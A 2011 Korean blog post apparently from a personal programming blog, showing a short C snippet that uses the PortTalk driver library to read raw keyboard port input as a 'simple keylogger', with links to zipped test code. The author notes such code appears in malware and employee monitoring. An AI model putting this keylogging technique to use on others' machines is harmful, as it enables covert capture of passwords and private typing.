mini-prog-driver

PortTalk lib를 이용한 초간단 Keylog program

파이s 2011. 4. 5. 15:27
무엇을 찾아보다가 발견한 내용인데요.
PortTalk lib를 이용해 키보드 값을 절취하는 악성코드도 있고, 직원 감시용?으로도 이용되어지는것 같더군요

PortTalk lib는 디바이스 드라이버에 관심이 있는 분이라면 모두 아실만한 유명한 lib 인데요.
그동안 사용할 일이 없다가, 한번 궁금해서 관련 내용을 살펴봤습니다.

자세한 내용은 아래 링크에서..
(원사이트) http://www.beyondlogic.org/porttalk/porttalk.htm 
(누가 번역을...) http://blog.naver.com/untilok/35874471 (메뉴얼 한글화)
(누가 해킹을...) http://coderant.egloos.com/3407416 (nProtect 2006년 취약점)

잘 아시겠지만  PortTalk는 디바이스 포트들의 접근을 용이하게 하기 위한 lib 이죠. (그림 참조)

비슷한 기능을 직접 구현하려면?...조금 짜증나죠...맨날 하는 사람 아니고서야...좀 어렵고.(-_-;;

근데 이놈을 보아 하니...이거 정말 편하더군요.
Kernel 기반에서 동작하는 Keylogger 를 작성하는데 단 몇 줄만으로 구현가능합니다.

#include <stdio.h>
#include <windows.h>
#include <pt_ioctl.c>

void main()
{
      unsigned char value;
      OpenPortTalk();
        value = inportb(0x60)
        printf("Key input data = 0x%02X \n",value);
      ClosePortTalk();
}

아주 간단한 키로거 입니다..-_-;;; (기타 자질구레한 작업은 뺐습니다. 이게 중요한게 아니닌깐요)

아래 내용은 이를 좀더 응용하여~

Polling 기법을 이용한  Keylog을 구현해 봤습니다. 급하게 짠거라(2분?) 키보드 입력값이 다소 엉킨것 처럼 보이지만... 어쨌든 되는 겁니다.;;;

잘만 응용하면 훌륭한 분석도구로 활용할 수 있을 듯합니다.

 


PortTalkTest.zip

 

porttalk22.zip

'mini-prog-driver' 카테고리의 다른 글

"SniffUsb 2.0" USB Sniffer for Windows  (0) 2009.06.03